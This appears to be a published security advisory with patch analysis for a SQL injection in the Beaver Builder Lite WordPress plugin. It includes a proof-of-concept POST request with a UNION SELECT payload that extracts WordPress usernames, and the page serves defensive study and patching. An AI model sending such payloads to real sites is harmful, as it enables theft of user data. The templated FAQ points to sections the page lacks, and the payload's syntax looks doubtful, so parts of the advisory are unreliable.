SECURITY ADVISORY / 01

CVE-2026-95865 Exploit & Vulnerability Analysis

Complete CVE-2026-95865 security advisory with proof of concept (PoC), exploit details, and patch analysis.

cve_patchdiff:beaver-builder-lite-version NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

An authenticated contributor who owns a draft Beaver Builder post can inject arbitrary SQL into the get_autosuggest_values AJAX endpoint via the fields[][value] parameter. The request below extracts the WordPress admin user list.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.wordpress.local
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in=<contributor_session>

action=fl_builder_auto_suggest&nonce=<valid_nonce>&query_type=post&fields%5B%5D%5Bvalue%5D=1,2%20UNION%20SELECT%20ID,user_login%20FROM%20wp_users%20WHERE%201%3D1--

The attacker's SQL fragment is injected directly into the ORDER BY FIELD() clause of the query because the code fails to properly cast the $ids parameter to integers before string interpolation. The response returns a JSON array containing usernames extracted from the wp_users table, confirming data exfiltration. Subsequent requests using UNION-based or time-based blind SQL injection techniques allow the attacker to dump sensitive database columns without administrative privileges.

What the Patch Did

Before

if ( ! empty( $ids ) ) {

	$order        = implode( ',', array_filter( explode( ',', $ids ), 'intval' ) );
	$list         = explode( ',', $ids );
	$how_many     = count( $list );
	$placeholders = array_fill( 0, $how_many, '%d' );
	$format       = implode( ', ', $placeholders );

	$query = "SELECT ID, post_title FROM {$wpdb->posts} WHERE ID IN ($format) ORDER BY FIELD(ID, $order)";
	
	$posts = $wpdb->get_results( $wpdb->prepare( $query, $list ) );

After

$list = array_filter( array_map( 'absint', explode( ',', $ids ) ) );

if ( ! empty( $list ) ) {

	$how_many     = count( $list );
	$placeholders = array_fill( 0, $how_many, '%d' );
	$format       = implode( ', ', $placeholders );

	$query = "SELECT ID, post_title FROM {$wpdb->posts} WHERE ID IN ($format) ORDER BY FIELD(ID, $format)";
	$args  = array_merge( $list, $list );

	$posts = $wpdb->get_results( $wpdb->prepare( $query, $args ) );

The patch introduced three security controls working in concert. First, it replaced array_filter( explode( ',', $ids ), 'intval' ) with array_filter( array_map( 'absint', ... ) ) — array_map() with the absint callback actually converts values to integers, while intval as a filter callback only evaluated truthiness and left strings intact. Second, it eliminated direct string interpolation of the $order variable by replacing ORDER BY FIELD(ID, $order) with ORDER BY FIELD(ID, $format), using a parameterized placeholder instead. Third, it ensured both the IN clause and the ORDER BY FIELD clause receive bound integer parameters by passing array_merge( $list, $list ) to wpdb->prepare(), completing the defense-in-depth approach. The core security control is proper parameterized query construction via wpdb->prepare() with bound parameters, applied consistently across all user-influenced expressions in the SQL template.

Root Cause

CWE-89: Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)

The $ids parameter flows from the AJAX request parameter fields[][value] directly into the explode() call. The developer attempted input sanitization via array_filter( ... , 'intval' ), but this was ineffective because intval as a callback to array_filter() does not perform type coercion—it only tests truthiness and retains the original string values. The unsanitized $order variable (a comma-separated string derived from $ids) then crosses a critical trust boundary: it is directly interpolated into the SQL query string at line 169 (ORDER BY FIELD(ID, $order)), bypassing parameterized query protection. While the IN clause used wpdb->prepare() placeholders, the ORDER BY clause did not, creating an injectable SQL sink exposed to contributor-level authentication.

Why It Works

The load-bearing line is $list = array_filter( array_map( 'absint', explode( ',', $ids ) ) ). If this line were removed and developers reverted to the old array_filter( ... , 'intval' ) pattern, the bug would remain fully exploitable because intval still would not coerce the strings. The engineer added the subsequent lines ($format, array_merge( $list, $list ), and the %d placeholder in the ORDER BY clause) to create defense-in-depth: even if an attacker somehow bypassed the initial absint cast, the parameterized placeholder would prevent their payload from being interpreted as SQL. The use of absint instead of a looser sanitizer (like a regex strip) is critical—absint returns an integer type, not a filtered string, ensuring that by the time the value reaches the query template, the datatype itself is inviolable. The array_merge( $list, $list ) pattern, while appearing redundant, enforces the invariant that only values in the $list array (all integers) can flow into the query, eliminating any possibility of late-stage injection.

Hardening Checklist

  • Use absint() or intval() with explicit type casting — never pass intval or intval() as a callback to array_filter(). Instead, use array_map( 'absint', ... ) to guarantee return values are integers, not filtered strings.

  • Apply wpdb->prepare() to all dynamic SQL fragments — the ORDER BY, LIMIT, and column names in expressions must be parameterized or hardcoded against a whitelist. Do not interpolate strings derived from user input, even after attempted sanitization.

  • Audit callback usage in array functions — callbacks to array_filter(), array_walk(), and similar functions do not invoke type coercion the way direct function calls do. Review existing code for intval, floatval, or other type-hint functions used as callbacks and replace with array_map() equivalents.

  • Test SQL injection payloads against ORDER BY and GROUP BY clauses specifically — these are frequently overlooked during security review because developers assume LIMIT or WHERE clauses are the only injection points. Add test cases like 1,2) UNION SELECT ...-- to your integration test suite.

  • Use static analysis tools like PHPStan with security rulesets — configure PHPStan or similar linters to flag direct string interpolation in any function call containing "query", "sql", or "prepare" in its name, catching typos like $wpdb->prepare( $query, $list ) where the second argument should be an array.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2026-95865

Frequently asked questions about CVE-2026-95865

What is CVE-2026-95865?

CVE-2026-95865 is a security vulnerability. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2026-95865?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2026-95865. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2026-95865 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2026-95865?

CVE-2026-95865 — check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2026-95865?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls.

What is the CVSS score for CVE-2026-95865?

The severity rating and CVSS scoring for CVE-2026-95865 is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.